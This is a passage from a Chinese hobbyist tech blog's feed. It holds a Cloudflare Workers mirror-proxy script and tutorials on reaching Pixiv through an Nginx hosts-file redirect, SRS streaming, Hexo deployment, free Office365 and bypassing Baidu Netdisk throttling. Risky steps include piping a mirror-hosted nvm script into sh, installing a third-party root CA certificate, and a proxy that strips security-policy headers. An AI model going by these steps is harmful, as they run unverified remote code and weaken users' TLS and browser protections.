'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

下篇:Cloudflare Workers绑定自定义域名进行访问

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

下周要考试了,我好方,怎么办

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + PIXIV网页版及客户端访问恢复指南(Linux版) + + /posts/Pixiv-Nginx/ + +

Windows版点这里,本文只介绍linux

国庆快乐鸭~

本周在想,既然Mashirozx的Nginx反代上P站的方案能在Windows上用,那Linux上肯定也是可以的,而且如果是一台linux服务器搭建好了,只需要把host指向到linux服务器上,就可以直接上P站,不用再开Mashirozx的Windows反代工具包了

废话不多说,直接上教程(封面图是从樱花庄的白猫引用过来的)

安装Nginx

在这里,我们安装Nginx(既然都是Nginx的反代了,不装怎么可以呢),Ubuntu上使用

1
$ apt-get install nginx

就可以安装了,安装完后输入

1
$ nginx -t

如果提示

1
2
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

就证明你安装成功了,当然,你也可以试着访问一下nginx的默认网站

访问localhost即可~!

克隆工具包

1
$ git clone git@github.com:mashirozx/Pixiv-Nginx.git

使用上面这个命令来克隆@Mashirozx/Pixiv-Nginx的反代工具包,然后打开文件夹中的“配置文件(非Windows用户使用)”文件夹

安装反代配置

进入~/etc/nginx/这个位置,把上面打开的那个文件夹的东西全部都丢进去(此处需要root权限),提示覆盖就覆盖即可!

移动文件到~/etc/nginx/

然后在~/etc/nginx目录下打开终端,输入以下命令

1
2
$ cd ca
$ cp pixiv.net.crt /usr/local/share/ca-certificates/pixiv.net.crt

将证书复制到根证书安装目录下,然后使用该命令

1
$ update-ca-certificates

更新证书,这样子你的根证书就成功安装了!

重载Nginx

使用命令

1
$ nginx -t reload

重启nginx,然后新配置就会应用到nginx中,这样,反向代理就建好了

修改host

接下来,你需要修改ubuntu的host

在~/etc/目录中找到host文件host文件没有后缀名,然后打开它,在里面加入以下内容(摘自PIXIV网页版及客户端访问恢复指南

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
127.0.0.1 www.google.com

#Pixiv Start
127.0.0.1 pixiv.net
127.0.0.1 www.pixiv.net
127.0.0.1 ssl.pixiv.net
127.0.0.1 accounts.pixiv.net
127.0.0.1 touch.pixiv.net
127.0.0.1 oauth.secure.pixiv.net
127.0.0.1 dic.pixiv.net
127.0.0.1 en-dic.pixiv.net
127.0.0.1 sketch.pixiv.net
127.0.0.1 payment.pixiv.net
127.0.0.1 factory.pixiv.net
127.0.0.1 comic.pixiv.net
127.0.0.1 novel.pixiv.net
127.0.0.1 imgaz.pixiv.net
127.0.0.1 sensei.pixiv.net
127.0.0.1 fanbox.pixiv.net
127.0.0.1 i.pximg.net
127.0.0.1 source.pixiv.net
127.0.0.1 i1.pixiv.net
127.0.0.1 i2.pixiv.net
127.0.0.1 i3.pixiv.net
127.0.0.1 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
127.0.0.1 en.wikipedia.org
127.0.0.1 zh.wikipedia.org #中文维基百科桌面版
127.0.0.1 en.m.wikipedia.org
127.0.0.1 zh.m.wikipedia.org
127.0.0.1 zh-yue.wikipedia.org #粤文维基百科桌面版
127.0.0.1 wuu.wikipedia.org #吴语维基百科桌面版
127.0.0.1 ug.wikipedia.org #维吾尔文维基百科桌面版
127.0.0.1 ja.wikipedia.org #日文维基百科桌面版
127.0.0.1 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
127.0.0.1 store.steampowered.com
127.0.0.1 steamcommunity.com
# Steam end

接下来有两种方式让host生效

重启电脑

这个不多说了,右上角电源键走起

重启服务

使用一下命令来重启networking服务(请用root用户运行)

1
2
3
$ cd ~
$ cd etc/init.d
$ ./networking restart

这样就可以立即加载HOST文件,打开你的浏览器,打开P站就可以愉快地浏览图片啦~

小技巧

当你在你的linux服务器上安装了反代服务后,你可以在你的windows计算机上利用host指向到你的linux服务器来达到上P站的目的(当然,你需要安装Mashirozx提供的ca证书)

在host文件中输入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
172.52.5.100 www.google.com

#Pixiv Start
172.52.5.100 pixiv.net
172.52.5.100 www.pixiv.net
172.52.5.100 ssl.pixiv.net
172.52.5.100 accounts.pixiv.net
172.52.5.100 touch.pixiv.net
172.52.5.100 oauth.secure.pixiv.net
172.52.5.100 dic.pixiv.net
172.52.5.100 en-dic.pixiv.net
172.52.5.100 sketch.pixiv.net
172.52.5.100 payment.pixiv.net
172.52.5.100 factory.pixiv.net
172.52.5.100 comic.pixiv.net
172.52.5.100 novel.pixiv.net
172.52.5.100 imgaz.pixiv.net
172.52.5.100 sensei.pixiv.net
172.52.5.100 fanbox.pixiv.net
172.52.5.100 i.pximg.net
172.52.5.100 source.pixiv.net
172.52.5.100 i1.pixiv.net
172.52.5.100 i2.pixiv.net
172.52.5.100 i3.pixiv.net
172.52.5.100 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
172.52.5.100 en.wikipedia.org
172.52.5.100 zh.wikipedia.org #中文维基百科桌面版
172.52.5.100 en.m.wikipedia.org
172.52.5.100 zh.m.wikipedia.org
172.52.5.100 zh-yue.wikipedia.org #粤文维基百科桌面版
172.52.5.100 wuu.wikipedia.org #吴语维基百科桌面版
172.52.5.100 ug.wikipedia.org #维吾尔文维基百科桌面版
172.52.5.100 ja.wikipedia.org #日文维基百科桌面版
172.52.5.100 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
172.52.5.100 store.steampowered.com
172.52.5.100 steamcommunity.com
# Steam end

其中的ip地址172.52.5.100请更换为你的linux服务器地址!!!

当你确认已经安装完了证书,linux服务器的nginx服务运行正常后,你就可以打开pixiv愉快地浏览图片了!

题外话

上个月没有写3篇文章,我的问题(给自己的定位是3篇/mo)

国庆我没有咕咕咕,是不是应该夸奖我~

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + 手把手教你怎么搭建属于自己的直播服务器~ + + /posts/srs/ + +

前两个月学校的旧外包跑路了(其实是合约到期了),他们的直播系统就被学校废弃了,那么问题就来了:学校要直播呀!!!没有直播系统怎么办啊!!!

所以这次就来手把手(按照我搭建的经验)来教你怎么搭建属于自个的直播系统~

PS:可以打开侧边栏看,方便找到需要的内容

准备材料

*表示非必需

1、一台linux电脑(windows上没试过,感兴趣的同志们可以试试)

*2、一台网页服务器(可以用上面的linux电脑,或者个人电脑)

搭建环境

GoLang环境

使用命令进入root用户

1
$ su
一键安装方式
1
2
3
$ git clone https://github.com/letseeqiji/oneinstall.git
$ cd oneinstall/golang
$ bash goinstall.sh

直接运行脚本进行安装

Ubantu/Debian用户

你可以使用

1
$ sudo apt-get install golang

直接安装Go环境,然后设置GOPATH即可

1
$ vi /etc/profile

打开文件后,对文件修改,在文件最下面添加

export GOPATH=/goWorkPlace

然后按Esc,保存文件

最后,刷新文件,使更改生效。输入命令

1
$ source /etc/profile
二进制码安装方式

64位

1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-amd64.tar.gz

32位

1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-386.tar.gz

在/usr/local下安装:

1
$ sudo tar -xzf <filename> -C /usr/local

配置环境变量:有三个变量GOPATH、PATH、GOROOT

GOROOT就是go的安装路径

GOPATH就是go的工作目录

PATH是go安装路径下的bin目录

1
$ vi /etc/profile

打开文件后,对文件修改,在文件最下面添加

export GOPATH=/goWorkPlace

export GOROOT=/usr/local/go

export PATH=$PATH:$GOROOT/bin

保存文件,刷新,使更改生效

1
$ source /etc/profile

srs设置

使用git克隆代码

1
2
$ git clone git@github.com:ossrs/srs.git
$ cd srs

进入srs目录,对目录中的文件进行修改。

打开./trunk/conf/srs.conf文件,对其进行修改

其中有几个参数需要修改:

1
2
3
4
listen1935; #直播推流的端口
max_connections 1000; #最大线程数
srs_log_tankconsole;#srs日志输出位置,可以为console或file
srs_log_file ./objs/srs.log;#srs日志输出文件,当上面为file时必须设置

上面的参数根据自己的需要进行修改,其中max_connections推荐设置为100,否则编译有可能会出错

在root用户中,进入./trunk,使用命令

1
$ ./configure && make

对srs进行编译,编译过程稍长,请耐心等待

当编译完成后,可以使用

1
$ ./objs/srs -c conf/srs.conf

打开srs服务器,打开客户机上的OBS Studio(vMix也可以),推流地址填写如下

rtmp://<你的srs服务器ip>:1935/home

推流密钥填写如下

/live

也可以把live换成任意的文字或路径

此时可以使用VLC Media Player来检测是否推流成功,打开VLC Media Player,选择“媒体”->“打开网络串流”,在URL里面填写你的rtmp地址(包括密钥)例如我的OBS配置如下

OBS-Config

那么我就应该填写rtmp://172.52.5.100:1935/home/live

点击确定,可以看到我推流出来的内容

VLC

这样就证明我推流成功了!

网页前端设置

我们毕竟是个直播,总不可能每个班级都安装一个VLC Media Player的嘛,所以说,我们要用网页来拉流。

用网页来拉流,就要用到HLS了(具体百度哦~),但是我们要怎么打开HLS呢?

你需要在你的srs.conf中的

1
2
vhost __defaultVhost__ {
}

中加入以下内容(可以直接复制粘贴)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vhost __defaultVhost__ {
# http-flv设置
http_remux{
enabled on;
mount [vhost]/[app]/[stream].flv;
hstrs on;
}

# hls设置
hls{
enabled on;
hls_path ./objs/nginx/html;
hls_fragment 10;
hls_window 60;
}
}

然后重新打开srs即可

那么下面的链接应该都可以使用(按照我的填写方法为例)

链接类型链接
rtmprtmp://172.52.5.100:1935/live/home
http/flvhttp://172.52.5.100:8080/live/home.flv
http/m3u8http://172.52.5.100:8080/live/home.m3u8

可以利用我们的网页示例,进行调试(请不要使用本地打开文件的方式进行调试,会被拦截)

1
$ git clone git@github.com:5amstd/live-system.git

将里面的146行的视频地址更改为自己的视频地址即可

1
video:'http://172.52.5.100:8080/home/live.flv' //视频地址

然后保存刷新,打开里面的视频播放器(都9102年了还用Flash???),就可以看到直播画面了

Website

如果你看到了直播画面,就证明你成功了~

题外话

第一次用Ubantu来搭建项目,感觉Ubantu挺好用的,所以现在两台电脑吧,把我之前的那台DELL OptiPlex 3046拿来装Ubantu了

srs搞了我很长时间,其实最主要的问题是Ubantu(Linux)用的不很熟悉,然后权限问题也很烦

HLS的分发挺麻烦的,查看了很多官方文档,后来在别人的文章里面找到了解决方法

最近喜欢打方舟,有舟游玩家嘛,加波好友啊:喵呜初音#0717(B服玩家哦~)

]]>
+ + + + + Tech + + + + + + + Tech + + live + + stream + + + +
+ + + + + 最全面的Hexo部署方法,交给你了~ + + /posts/hexo-deploy-guide/ + +

温馨提示:推荐点击左下角箭头打开目录,方便你更好地找到内容!

开始

什么是Hexo?

(我不多BB了,去看官网吧,介绍什么的真的不适合我……)

如何安装?

准备工作

你需要的东西有:

一个带有Page服务的仓库(推荐Github,Coding)

一台电脑(Windows或Linux均可,差别不大)

最后就是耐心(这个过程可能会很枯燥的说~)

前期准备
安装Node.js

安装 Node.js 的最佳方式是使用 nvm。nvm 的开发者提供了一个自动安装 nvm 的简单脚本:

Curl:
$ curl -o- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
wget:
$ wget -qO- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
安装完成后,重启终端并执行下列命令即可安装 Node.js。
$ nvm install stable
Windows 用户

对于windows用户来说,建议使用安装程序进行安装。安装时,请勾选Add to PATH选项。
另外,您也可以使用Git Bash,这是git for windows自带的一组程序,提供了Linux风格的shell,在该环境下,您可以直接用上面提到的命令来安装Node.js。打开它的方法很简单,在任意位置单击右键,选择“Git Bash Here”即可。由于Hexo的很多操作都涉及到命令行,您可以考虑始终使用Git Bash来进行操作。

Linux 用户

大部分 Linux 发行版都会在它们的默认软件包仓库中分发 Node.js。第三方仓库 NodeSource 通常能分发最新版本的 Node.js。

可选操作:

由于众所周知的原因,使用npm进行安装速度十分缓慢。也可以参考这个页面,利用国内镜像安装npm模块。

安装Git

Windows:下载并安装 git.
Mac:使用 Homebrew, MacPorts :brew install git;或下载 安装程序 安装。
Linux (Ubuntu, Debian):sudo apt-get install git-core
Linux (Fedora, Red Hat, CentOS):sudo yum install git-core

Windows 用户

由于众所周知的原因,从上面的链接下载git for windows最好挂上一个代理,否则下载速度十分缓慢。也可以参考这个页面,收录了存储于百度云的下载地址。

安装Hexo

当你确定你已经安装完了Node.js和Git,就可以使用npm安装hexo了,使用

1
$ npm install -g hexo-cli

或(安装了cnpm国内镜像的情况下,下面所有的npm命令均可换为cnpm命令,下面不再说明

1
$ cnpm install -g hexo-cli
初始化Hexo文件夹

在你认为合适的地方新建一个文件夹,文件夹名字自拟,然后使用

1
$ hexo init

来初始化你的文件夹(文件夹必须是空的),并且使用

1
$ npm install

来安装相关的依赖库!

初始化库和安装依赖

配置网站

当你安装完所有的依赖以后,你就可以配置你的网站。

你也可以使用

1
$ hexo s

来进行本地调试,在浏览器中输入localhost:4000进入自己的网站。

关于hexo目录下的_config.yml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Site
title: <title>#自己的网页名字,将在标签页标题中显示为<title> - <subtitle>
subtitle: <subtitle> #副标题,在标签页标题显示
description: <descr> #网页描述(讲真我不知道有啥用)
keywords: <keywords> #网页搜索关键词
author: <author> #网页作者
language: en #网页语言,若主题支持中文可以不用改
timezone: #时区,可以不改

# URL
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: http://yoursite.com#网页网址,一般填写主页的地址,例如我的网页就填http://bili33.top
root: /#网站根目录,可以不改
permalink: :year/:month/:day/:title/#网页永久链接格式,可以自己修改
permalink_defaults:

关于主题:

主题可以去https://hexo.io/themes/找,也可以在github逛一逛,说不定就找到好主题了呢?

1
2
3
4
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/
theme: landscape# 主题名字,landscape是默认主题,改成你的主题文件夹的名字即可!

在clone的时候建议用git clone .address> theme/.theme name> 这样方便管理~

关于主题的配置,详情请见各主题说明文档!

部署网站

在准备东西的时候,我们准备了一个github(或coding)账号,下面以github为例子

在Github中新建一个仓库,仓库名自拟,也可以采用官方格式.username>.github.io,一定要设为公开仓库(有Github Pro的当我没说)

然后回到你的hexo文件夹,打开命令窗口,输入

1
$ npm install hexo-deployer-git --save

来安装git的部署器,其他部署器请看这里

打开_config.yml,拉到最底下,会发现有个Deployment,你可以按照我下面这么填写

1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo address> # 请替换为你的仓库地址!
branch: master

填写完成后,保存即可,然后打开命令窗口,使用

1
2
3
$ hexo clean #不是必要的
$ hexo generate
$ hexo deploy

来部署你的网站,其中generate可以简写为g,deploy可以简写为d,如果觉得打两行命令太麻烦,可以使用

1
$ hexo d -g

一条命令来直接部署,省去不必要的麻烦。

你也可以同时部署多个仓库,例如

1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo1 address>,master # 请替换为你的仓库地址!
repo: <repo2 address>,master # 请替换为你的仓库地址!

这样编写的话一次部署,两边的仓库都会上传~

部署完成后,请到你的Github仓库的设置中,找到Github Pages,将source选到master branch来打开Pages服务!

撰写文章

你可以使用

1
$ hexo new "<article name>"

来创建一篇文章,它会出现在source/_posts中,是一个.md文件,使用md编辑器打开(推荐Typora)编辑即可,支持markdownhtml语法

小技巧

添加自定义域名

每次部署hexo都会清除你的库并且重新部署,这意味着如果你在Github的设置中添加自定义域名(会生成CNAME文件)每次都会被清除,为了避免这种麻烦,我们可以使用在source文件夹里新建CNAME文件

CNAME文件

并且在CNAME文件中填写你的域名

CNAME

这样就可以避免每次部署都清除掉自定义域名,导致网站404了~

自定义404页面

你可以在/themes/.themes name>/source中放置你的404页面,当你的网站页面不存在的时候,就会显示404页面,可以引用css文件和js文件,只要跟404页面放在同一目录即可!

404

如何直接看到404呢?你可以直接在网站后面加上/404就可以进入404页面了~

添加看板娘(live2d)

你是否也想像我一样领养一只猫呢?或者领养一只~

回归正题,我们要怎么领养一只萌萌哒看板娘呢?当然还是要用到插件的说~

先安装插件hexo-helper-live2d

1
$ npm install hexo-helper-live2d --save

等待安装完后,在你的网站根目录的_config.yml中加入(可以直接复制粘贴)

1
2
3
4
5
6
7
8
9
10
11
12
#hexo-helper-live2d
live2d:
enable: true#是否开启显示
pluginModelPath: assets/
model:
use: live2d-widget-model-tororo #模板目录,在node_modules里
display:
position: right
width: 150
height: 300
mobile:
show: false #是否在手机进行显示

然后,找到你喜欢的模型进行安装,并把model的use属性的文本改成你安装的看板娘的文件夹名字(在node_modules里面)即可!

这样你就可以像我一样领养一只萌萌哒看板娘了~

搜索引擎站点认证

当你提交站点到搜索引擎的时候,免不了的就是认证你的站点。当然,认证方式有很多种,例如什么把标记放在.head>./head>之间啦,什么文件认证啊之类的,太多了

当然最方便的就是文件认证了,下载一个文件到本地,然后传到你的网站上面。

有的人就会问了,文件要放在哪里呢?

其实有两个地方都可以放,一个是根目录的source文件夹,另一个就是主题里面的source文件夹,都可以放,放在这两个文件夹的根目录即可!

添加站点地图

当你想让你的网站被Google或者Baidu什么的收录的时候,你就需要用到站点地图。

使用以下命令安装站点地图插件

1
2
$ npm install hexo-generator-baidu-sitemap --save #安装Baidu的站点地图,为Baidu优化过的
$ npm install hexo-generator-sitemap --save

然后打开网站根目录的_config.yml文件,加入以下条目:

1
2
3
4
5
6
7
8
Plugins:
- hexo-generator-baidu-sitemap
- hexo-generator-sitemap

baidusitemap:
path: baidusitemap.xml
sitemap:
path: sitemap.xml

这样每次部署就会生成一个baidusitemap.xml和一个sitemap.xml文件,用于提交站点地图

这里以google为例子描述怎么添加站点地图

当你的网站提交到Google后,为了点击量高,我们会提交站点地图,在左边的栏目中选择站点地图,然后在上面”添加新的站点地图”中填写.Your Link>/sitemap.xml即可,Google会定期收集你的站点,并且展示在搜索结果上

Google Webmaster

Google Search Result

添加RSS订阅

虽然我不知道这年头谁还用RSS,但是有好过没有嘛

先打开命令窗口,然后输入命令安装插件

1
$ npm install hexo-generator-feed --save

安装完成后,在网站的根目录中的_config.yml中,加入以下内容

1
2
3
4
5
6
7
8
#RSS订阅
plugin:
- hexo-generator-feed
#Feed Atom
feed:
type: atom
path: atom.xml#RSS文件名字,可自定义
limit: 20

当你加入RSS订阅按钮的时候,就可以设置链接到你的/atom.xml文件(RSS文件名字改过的当我没说),这样当别人点击你的RSS按钮时,就会弹出订阅提醒,让别人订阅你的网站。

按钮调用邮件应用

如果你想让别人联系你,那么最方便的方式就是通过电子邮件了。如何才能让别人点击链接或者按钮直接调用邮件应用发邮件给你呢?实例

在文章中,可以使用这样的编写格式

1
[<Text>](mailto:<Email Address>)

这样当别人点击.Text>的时候,就会调用电子邮件应用,同样如果是按钮的话,只需要将按钮的链接设为

1
mailto:<Email Address>

即可调用电子邮件程序!

结尾

Hexo的教程我就写了这么多,可能有些没写到的或者我没想到的,有可能在将来会偶尔更新一下这篇文章,当然,如果你有什么问题,欢迎发邮件到admin@bili33.top来与我探讨,我非常欢迎!如果你想与我交换友链,请到友情链接网页的评论区留言,我有时间会看评论的.商业网站勿扰哦~

]]>
+ + + + + Software + + + + + + + Software + + Github + + Hexo + + Github Pages + + + +
+ + + + + 白嫖Office365?这种好事我当然要来! + + /posts/Office365/ + +

相信很多人都在用Office,用的要么是WPS Office,要么就是Microsoft Office。正版的Office365价格贵得要死↓

家用Office价格(非商业用途)

所以今天,我就来教教怎么获取免费的Office365(而且还是管理员哦~)

准备工作

你需要准备:一个微软账户(个人用户,即非企业用户)

获取Office365账号

网址我贴在这里啦:https://developer.microsoft.com

进入以后发现里面有四个按钮

微软开发者中心

稍微解释一下,第一个和最后一个想必不用说了吧,都是熟悉的东西;第二个是微软的云服务平台Azure,第三个是微软的开发者软件Visual Studio(我还是喜欢VSCode),在这里我们点击Office,其他有需要的自己斟酌哈~

Office开发者页面

会看英文的小伙伴们就知道点哪个,不会看的我告诉你是先点右上角sign in

登录自己的账号后,点上面的Developer Program,进入开发者计划页面,点击中间那个最大的按钮写着JOIN NOW的~

Office开发者页面 - 加入开发者计划

点进去后会看见一个全英的界面,在第一个选择框里选择”China”(当然你要选其他国家我也没意见),第二个的Company填写你自己想要的名字,因为微软给的管理员账号是<username>@<domain>.onmicrosoft.com(自定义域名除外),所以你设定的名字需要尽量跟后面设置的一致。

设定好后,把下面两个勾给勾上,点击NEXT

配置界面

然后微软就会问你一堆问题

像下面这样:

看得懂英语的自己选择,但是在Products里面最好全部勾上,这样你就能使用所有的功能。如果看不懂英语,那么第一个问题和第二个问题请选择Personal Projects(第四个选项),第三个Products和第四个Technologies全部勾上,最后一个问题随便选择一个即可(如果你不是真的要开发的话),全部选择完以后点击下方的JOIN即可!

然后你就会像我一样被导到这个界面,说明你已经成功注册了!

点击下方的SET UP SUBSCRIPTION会弹出来一个小窗,第一个不用说,之前选什么现在就选什么,第二个create username是设置邮箱前缀,create domain就是上面提到的在邮箱后缀的第一位的东西,自己喜欢,但是尽量跟前面一致!下面两个框都是让你输入密码,输入完以后点下面的Continue即可!

启用office订阅

然后就会弹出提示,要你输入手机号码

输入手机号码

输入完了点击下面的send code,就会有短信发到你的手机,后面我不用说都可以解决了吧~

2020/4/27更新

保命需要,教程在这

题外话:

这个Office365需要用户足够活跃,每次的订阅周期为92天,过了92天就会检测用户是否足够活跃,如果不活跃则会被删除所有数据(当然你再注册也是可以的),所以比较推荐多人用一个组织。

1、你的姓名(可以是假名,我不在意)
2、显示名称(类似你在登录win10前的用户名)
3、邮箱前缀(就是@前面的那一串)
4、接收账号密码邮件的邮箱(如果没收到请检查垃圾箱!)
当我为你创建账户后,我会通过邮件通知你,也会把账号密码发到你的邮箱!
说明:我使用的也是这种office(92天订阅期),所以为了避免office删除组织后文件丢失,请不要把贵重文件放在onedrive中,丢失概不负责!
(表示微软并没有给我续费。。。)

如果不能确保自己能够被微软认定为开发者,那么我推荐你到http://233455.xyz:3000/(好像已经失效了?)去领取一个临时邮箱注册edu版(注:此edu注册的账户仅提供5T的onedrive空间,若需要office授权,请在该网页下面的使用规则查看)
祝大家白嫖成功~~~

]]>
+ + + + + Software + + + + + + + Software + + Office365 + + + +
+ + + + + 被限速的日子,该过去了! + + /posts/BaiduNetDisk-Limit-Break/ + +

本教程可能已经过时

鉴于Pandownload网页端经常服务器维护,本页面教程可能已经过时!

辣鸡百度云,又限我速!

百度云限速(真实)

百度云天天限速,8M/s的网速硬生生被拖到8kb/s,太真实了,这限速估计也烦了不少人,但是用speedpan之类的软件可能就有封号风险,所谓的封号不是封禁账号,是直接断你的线程断剩下一个,这样就可以拖慢你的网速。

那么我们要怎么样不被封号的同时又能告诉下载呢?(鉴于好多小伙伴看不懂我的在线版本教程,所以我在2019/8/13修改了教程,只剩下普通版)

第一步、部署本地aria2

下载Aria2c All In One工具包,然后打开里面的start.bat文件,会弹出一个cmd窗口,防火墙提示请允许!你也可以打开start-vanish.vbs文件,这样就不会弹出cmd窗口,若要关闭Aria2c,直接双击stop.bat即可!

1、开启aria2

直接点开文件里面的start.bat文件就可以打开aria2,但是这样做就会生成一个窗口,有些人就认为它不美观,不想要它,那就可以打开文件里面的start-vanish.vbs,就可以做到既没有窗口又可以打开aria2

2、配置aria2

①、第二十七行
1
2
# 单个任务最大线程数, 添加时可指定, 默认:5
split=5

split后面的数字随便改,只要你认为你的电脑能吃那么多的线程。

②、第六十一行
1
2
# 设置的RPC授权令牌, v1.18.4新增功能, 取代 --rpc-user 和 --rpc-passwd 选项
#rpc-secret=secret

这是你的aria2密钥,不过如果你是本地用或者局域网内用就不建议设置密钥,rpc-secret前面的#去掉,然后把后面的secret改成你自己的密钥即可!

第二步(可选):部署ariaNg

下载AriaNg文件,并解压到自定义目录

打开里面的index.html文件,进入AriaNg设置

填写以下内容:

Aria2c RPC 别名:【自己填写】

Aria2c RPC 地址:127.0.0.1或localhost 6800 jsonrpc

Aria2c RPC 协议:HTTP

Aria2c RPC HTTP 请求方法:POST

Aria2c RPC 密钥:(填写自己的密钥,默认为空)

第三步、打开你的分享链接,在分享链接后面加上wp进入PanDownload

[无图警告]

第四步、点击想下载的文件,选择Aria2下载,输入内容如下:

主机:127.0.0.1 或 localhost

端口:6800 (如果自己改了端口就请填写自己的)

密钥:(默认留空,如果设置了密钥就填写密钥)

下载路径:(填自己电脑的文件夹路径,例如C:\Users\GamerNoTitle\Download,就是我的文档里面的下载文件夹)

(以下是一个例子,请不要按照我这么填!!!)

pandownload aria配置图

填好以后点确定会直接开始下载

这种方式是可以飞速下载的,当然这样下载的结果就是文件存放在了自己设定的目录。

忘了说了,pandownload是有每日获取次数限制的,限制是限制公网ip,也就是同网络下一个人被限制了,其他人也会被限制,不知道具体是多少次。。。

祝各位突破限速成功!

封面下载(来自Watch_Dogs 2):点我下载!(4K图)

狗二图包详见育碧!

DedSec

]]>
+ + + + + Software + + + + + + + Software + + Baidu + + BaiduNetdisk + + Aria2 + + + +
+ + + + + 别再问我怎么装系统了,再问我就把这边文章丢到你脸上! + + /posts/Windows-Setup/ + +

封面来源地址

为什么会写这篇文章?

昨天晚上我拉我们班某位钻石大佬打LOL,带我上分,结果他告诉我他电脑炸了,要重装系统,问我怎么重装系统。。。

我是这么回答他的(源自微信聊天记录):

我(内心):有句MMP不知当说不当说。。。

今天我就要来详细讲一讲怎么新装/重装系统(win7~Win10通用,不包含Linux)

序言

我会介绍两个方法,第一个我把它叫做萌新友好法,第二个我把它叫做萌新不友好法

这里用到的工具稍微列举一下:

1.萌新友好法:Windows官方镜像、一个8G+的U盘、U深度或者其他乱七八糟的PE工具箱(这里没有给U深度打广告的意思,只是我一般介绍别人方法的时候会告诉他用U深度)

2.萌新不友好法:Windows官方镜像、软碟通(Ultraiso,无需注册)、一个8G+的U盘

开始装机!

1.1/2.1、镜像下载

你需要去微软官网或者是某些网站上面下载Windows的官方镜像,这里推荐Windows官方下载工具或者推荐网站MSDN, 我告诉你下载镜像。

需要注意的是,如果使用Windows官方下载工具,建议直接使用里面的“为另一台电脑创建介质“功能,并且直接插入U盘写入,当然你愿意选择创建ISO也可以,ISO的用法会在下面提到。

